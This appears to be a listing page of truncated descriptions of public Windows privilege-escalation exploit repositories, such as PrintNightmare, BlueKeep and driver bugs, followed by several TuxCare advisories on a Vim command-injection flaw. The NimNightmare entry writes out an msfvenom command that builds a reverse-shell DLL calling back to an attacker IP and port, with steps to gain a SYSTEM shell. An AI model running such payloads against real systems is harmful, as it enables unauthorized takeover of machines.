NimNightmare

CVE-2021-1675 LPE PoC これは私のエクスプロイトではありません！ただnimのwinimライブラリで遊んでみたかっただけです。 使い方 DLLペイロードを msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll で生成し、攻撃機でハンドラーを起動します。 被害者機で .\nimnightmare.exe を実行し、SYSTEMとしてシェルを取得します。...

awesome_windows_logical_bugs

awesomewindowslogicalbugs Windows の論理的特権昇格バグについて学びたい人のためにこのリポジトリを作成しました。 また、私が見つけたいくつかの情報も追加しています。見逃している良い記事があれば、@404death から連絡してください。 作業中 WIP です。新しいバグが公開されたら常にこのリポジトリを更新します。 特権の昇格 脆弱性およびその他の調査: Windows の論理 EoP バグ SYSTEM シェルへの特権ファイル操作バグ テクニック: 任意のディレクトリ削除から SYSTEM シェルへ 任意のファイルの作成/書き込みから SYSTEM シェ...

Lenovo-CVE-2025-8061

Lenovo-CVE-2025-8061 LnvMSRIO.sys 3.1.0.36 ドライバーに対してシステムシェルを取得する PoC。 すべての功績は原作者 Quarkslab の Luis Casvella に帰属します。 これは、KVAShadowing と Core Isolation を無効にした最新の Windows 11 Version 24H2 で動作します。 !NOTE これは最新の Visual Studio 22 を使用してコンパイルされました。 エクスプロイト実行に役立つメモ !CAUTION このエクスプロイトのオフセットは、Windows バージョン:...

CVE-2019-0708-EXP-Windows

CVE-2019-0708-EXP-Windows-Version お断り 著者のPOCは研究目的のみです。読者が本POCを他の目的に使用した場合、著者は一切の責任を負いません。 目次 toc 紹介 CVE-2019-0708-EXP-Windows版は単一ファイルのexeとして動作し、Linux、Python、Ruby等は不要です。実行後、現在のコンソールに直接System権限のシェルが起動します。 コンパイルは全静的ライブラリモードを採用し、すべてのDLLをインライン化、netcatとopensslを統合、プログレスバー表示とシェルのエコー操作をサポートします。 再現環境 1...

vss-fr2system

vss-fr2system Windows 上の任意ファイル読み取り（arbitrary file read）バグを SYSTEM シェルに変える2つの小さなツールです。 vssfreeze/ — 標準ユーザー として Volume Shadow Copy を作成し、それを開いたまま保持することで、SAM/SECURITY/SYSTEM ハイブを読み出す時間を確保します fr2system/ — コピーしたハイブを受け取り、ローカルの NTLM ハッシュをオフラインで復号し、SYSTEM シェルを起動します SYSTEM として実行される任意の arb-file-read...

faxhell

faxhell "Fax Shell" Fax サービスと Ualapi.dll に基づく DLL ハイジャックを使用した Proof-of-Concept のバインドシェル。 詳細は次の記事をご覧ください: https://windows-internals.com/faxing-your-way-to-system/ How to use Ualapi.dll をビルドし、c:\windows\system32 に配置します。 Fax サービスを起動すると、DLL が読み込まれ、エクスポート UalStart が呼び出されます。UalStart...

PrintNightmare-LPE

CVE-2021-1675PrintNightmare system shell poc for CVE-2021-1675 Windows Print Spooler Elevation of Privilege credit: Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Ref: https://github.com/afwu/PrintNightmare windows 10 windows server 2012 このバグを発見したすべての研究者に感謝します。 @404death...

CVE-2021-21551

CVE-2021-21551 CVE-2021-21551 の SYSTEM への権限昇格エクスプロイト SeImpersonatePrivileges を使用した SpoolPrinter の権限昇格は、@ForrestOrr のおかげで実現しました。https://github.com/forrest-orr/DoubleStar/tree/main/Payloads/Source/Stage3SpoolPotato 私は基本的に彼のコードにエクスプロイト関数を放り込み、ごくわずかに変更しただけです。 NtQuerySystemInformation は @VoidSec の...

CVE-2017-0213

CVE-2017-0213 ここでGoogle Project Zeroチームが提供したコードを使用しました： https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213 私が行った変更により、プログラムがpowershellのワンライナーを呼び出し、ターゲット上でEmpireエージェントを取得できるようになります。 これをEmpire経由での権限昇格に使用します。...

CVE-2022-25949

CVE-2022-25949 Kingsoft Antivirus KWatch Driver（バージョン2009.3.17.77）におけるローカルのEoP脆弱性の、数年前のエクスプロイトです。 2009年...？ この問題を2014年1月に報告し、8年以上後にCVEの通知を受けました。自分の古いコードを見つけられ、それだけの時間がかかったことが面白いので、これをアップロードすることにしました。 したがって、新しいCVEにもかかわらず、これは新しい脆弱性ではないはずです。簡単な検索で、既に同じように見える脆弱性の報告が複数あることがわかりました。 タイムライン...

DirCreate2System

DirCreate2System Windows エラー報告を利用した特権ディレクトリ作成バグから NT AUTHORITY\SYSTEM を取得するための武器化 簡単な説明: システムディレクトリには存在しない comctl32.dll が、schtasks の実行による Windows エラー報告を介して wermgr.exe によって読み込まれることを発見しました。つまり、フルアクセス許可 ACL で C:\windows\system32\wermgr.exe.local という名前のフォルダを作成できれば、そのフォルダ内の comctl32.dll...

CVE-2019-12476

ADSelfService-Plus-PoC CVE-2019-12476 ADSelfService Plus バージョン 4.3.3 Windows 10 での認証バイパスの PoC。 すべての Windows バージョンに影響します。 PoC 動画 再現手順 1. エンタープライズネットワークから切断します。 2. 自分のホットスポットに接続します。 3. パスワードリセットをクリックします。パスワードリセット Web アプリケーションがイントラネットでホストされている場合、シッククライアントブラウザは 404 エラーで応答するはずです。 4. このサイトの検索をクリックすると、新...

SeManageVolumeExploit

SeManageVolumeExploit このエクスプロイトは、マシン上のすべてのユーザーに C:\ ドライブの完全な権限を付与します。 トークン内の特権を有効化します SYNCHRONIZE | FILETRAVERSE を使用して \.\C: へのハンドルを作成します FSCTLSDGLOBALCHANGE を送信して S-1-5-32-544 を S-1-5-32-545 に置き換えます "Printconfig.dll" の上書きによる SYSTEM シェルアクセス...

SharpPolarBear

SharpPolarBear これは、SandboxEscaperによって公開されたエクスプロイトの1つを武器化したバージョンです。https://github.com/SandboxEscaper/polarbearrepo コードの大部分は、rasta-mouseのCollectorServiceリポジトリhttps://github.com/rasta-mouse/CollectorServiceから来ています。元のSandboxEscaperのC++コードからCVE-2019-0841のコードをCに変更し、いくつかのチェックを追加しただけです。...

CVE-2026-62735

CVE-2026-62735 信息 该漏洞最初由 Siyeon Wi 发现。我出于教育和案例研究目的独立复现了该漏洞。 该漏洞也在 Pwn2Own Berlin 2026 上进行了演示。参考： TrendAI Zero Day Initiative 状态 TrendAI Zero Day Initiative 博客 Microsoft 更新详情：CVE-2026-62735 PoC 已演示了由 Integer Overflow 漏洞导致的崩溃。利用该漏洞，我们获得了 Heap Overflow 原语 - SYSTEM shell。 摘要 漏洞：Integer Overflow...

php-8.1.0-dev-backdoor-rce

PHP 8.1.0-dev バックドア リモートコード実行 PHP 8.1.0-dev バックドア システムシェルスクリプト PHP 8.1.0-dev は 2021年3月28日にバックドア付きでリリースされましたが、そのバックドアはすぐに発見され削除されました。このバージョンの PHP がサーバー上で実行されている場合、攻撃者は User-Agentt ヘッダーを送信することで任意のコードを実行できます。 問題が発見された後、元のコードは復元されましたが、その後 2度目の改ざんを受けました。この侵害により、侵害されたバージョンの PHP...

CentOS Linux 6 [TuxCare] Security Update: vim-X11 / vim-common / vim-enhanced / vim-filesystem / vim-minimal (CENTOS6:CLSA-2026:1781030937)

The CentOS Linux 6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS6:CLSA-2026:1781030937 advisory. - Vim is an open source, command line text editor. Prior to 9.2.0357, A command injection vulnerability exists in Vim's tag file processing. When...

AlmaLinux 9.6 [TuxCare] Security Update: vim-X11 / vim-common / vim-enhanced / vim-filesystem / vim-minimal (ALMALINUX9.6:CLSA-2026:1780708480)

The AlmaLinux 9.6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1780708480 advisory. - Vim is an open source, command line text editor. Prior to 9.2.0357, A command injection vulnerability exists in Vim's tag file processing...

Rocky Linux 9.6 [TuxCare] Security Update: vim-X11 / vim-common / vim-enhanced / vim-filesystem / vim-minimal (ALMALINUX9.6:CLSA-2026:1780708480)

The Rocky Linux 9.6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1780708480 advisory. - Vim is an open source, command line text editor. Prior to 9.2.0357, A command injection vulnerability exists in Vim's tag file processing...

CentOS Linux 8 [TuxCare] Security Update: vim-X11 / vim-common / vim-enhanced / vim-filesystem / vim-minimal (CENTOS-STREAM8:CLSA-2026:1781082176)

The CentOS Linux 8 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS- STREAM8:CLSA-2026:1781082176 advisory. - Vim is an open source, command line text editor. Prior to 9.2.0357, A command injection vulnerability exists in Vim's tag file...